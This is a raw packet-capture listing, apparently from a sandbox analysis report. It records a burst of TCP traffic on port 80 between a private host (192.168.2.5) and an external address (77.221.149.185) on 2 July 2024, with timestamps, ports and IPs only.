Jul 2, 2024 22:52:32.903362036 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.903388977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903398991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903409004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903431892 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.903475046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903485060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903493881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903503895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903516054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903518915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.903525114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.903527021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903552055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.903712034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903722048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903732061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903778076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.903779030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.903784990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903794050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903808117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903817892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903837919 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.903861046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.903965950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903975010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903984070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.903994083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.904009104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.904040098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.904083967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.904093981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.904103994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.904114008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.904124022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.904124022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.904133081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.904140949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.904143095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.904151917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.904161930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.904185057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.904208899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.904294968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.904305935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.904314041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.904324055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.904330969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.904335976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.904356956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.904376984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.908174038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.908184052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.908193111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.908216000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.908320904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.908330917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.908340931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.908350945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.908354044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.908382893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.908567905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.908582926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.908593893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.908603907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.908611059 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.908626080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.908627033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.908636093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.908644915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.908662081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.908689976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.909392118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.909400940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.909410000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.909436941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.909523010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.909532070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.909560919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.909562111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.909571886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.909579992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.909606934 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.909636974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.910850048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.910859108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.910868883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.910897017 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.911075115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.911084890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.911094904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.911103964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.911112070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.911140919 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.982745886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.982759953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.982770920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.982820988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.982898951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.982909918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.982923031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.982934952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.982944012 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.982945919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.982958078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.982968092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.982985020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.983009100 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.983032942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983057022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983068943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983079910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983091116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983102083 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.983102083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983113050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983131886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.983187914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983222961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.983226061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983239889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983253956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983264923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983275890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.983308077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.983490944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983501911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983515024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983535051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.983541965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983553886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983563900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983575106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983586073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983588934 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.983613014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.983633041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.983797073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983808041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983839989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.983874083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983886003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983913898 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.983927011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983937025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983947992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983958960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.983968019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.983989954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.991674900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.991743088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.991753101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.991780996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.991797924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.991806984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.991816044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.991826057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.991835117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.991843939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.991883993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.991983891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.991992950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992002964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992012978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992034912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.992062092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.992105007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992115021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992150068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.992153883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992166042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992199898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992202997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.992209911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992242098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992252111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992254972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.992261887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992276907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992285967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992305040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.992319107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.992439032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992448092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992458105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992471933 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.992486954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.992532969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992542982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992552042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992589951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.992671013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992680073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992687941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992698908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992707968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992713928 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.992718935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992727995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992739916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.992739916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992750883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992774963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.992788076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.992952108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992974997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992984056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.992993116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.993002892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.993020058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.993026972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.993031025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.993041039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.993060112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.993081093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.993191957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.993202925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.993212938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.993222952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.993232965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.993242979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.993252039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.993257999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.993283033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.996890068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.996906042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.996917009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.996927023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.996949911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.996953964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.996958971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.996984959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.997040033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.997050047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.997059107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.997068882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.997078896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.997081995 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.997107029 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.997122049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.997206926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.997215986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.997226000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.997234106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.997260094 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.997287989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.999289036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.999385118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.999394894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.999406099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.999414921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.999422073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.999430895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.999442101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.999447107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.999471903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.999479055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.999479055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.999500036 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.999543905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.999553919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.999581099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.999759912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.999769926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.999778032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.999787092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.999808073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.999829054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.088577986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.088588953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.088598013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.088628054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.088637114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.088639975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.088649035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.088658094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.088686943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.088856936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.088871956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.088881016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.088891029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.088900089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.088912964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.088922977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.088932991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.088943958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089159966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.089159966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.089159966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.089159966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.089258909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089281082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089296103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089304924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089313984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089322090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.089323997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089334011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089337111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.089343071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089353085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089363098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089366913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.089373112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089382887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089382887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.089392900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089397907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089399099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.089407921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089417934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089427948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089436054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.089437962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089448929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089464903 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.089478970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.089792967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089802980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089828014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.089927912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089936972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089945078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089958906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089971066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089972019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.089979887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089989901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.089991093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.089999914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090006113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.090030909 CEST	49712	80	192.168.2.5	77.221.149.185
